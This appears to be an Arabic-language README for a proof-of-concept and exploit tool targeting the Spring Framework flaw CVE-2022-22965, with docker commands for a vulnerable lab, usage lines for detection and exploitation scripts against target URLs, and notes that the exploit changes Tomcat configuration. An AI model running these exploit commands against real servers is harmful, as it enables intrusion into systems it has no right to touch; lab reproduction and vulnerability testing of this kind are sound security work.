CVE-2022-22965

Spring Framework/CVE-2022-22965

معرف الثغرة: CVE-2022-22965/CNVD-2022-23942/QVD-2022-1691

إعادة إنتاج الثغرة

docker pull vulfocus/spring-core-rce-2022-03-29
docker run -dit -p 8080:8080 vulfocus/spring-core-rce-2022-03-29

اكتشاف الثغرة

POC

يوصى باستخدام POC لاكتشاف الهدف. مميزاته أنه يتحقق من وجود الثغرة بناءً على DNSLOG، ولن يقوم بتعديل تكوين سجلات tomcat

python3 cve-2022-22965-poc.py -url https://example.com/
python3 cve-2022-22965-poc.py -file file.txt

EXP

python3 cve-2022-22965.py -url https://example.com/
python3 cve-2022-22965.py -file file.txt

استغلال الثغرة

POC

python3 cve-2022-22965-poc.py -url https://example.com/

EXP

python3 cve-2022-22965.py -url http://example.com/

Fuzz

POC

أضف المسارات الشائعة في السطر 13

routs = ['env',]

EXP Fuzz

أضف المسار الشائع في السطر 12

path = ['root',]

• تحذير:*

• سيقوم هذا EXP بكتابة طلبات HTTP غير الناجحة معًا في ملف.
• يقوم هذا EXP بتغيير تكوين tomcat.

For safe learning only, do not use illegally

لأغراض التعلم الآمن فقط، لا تستخدمه بشكل غير قانوني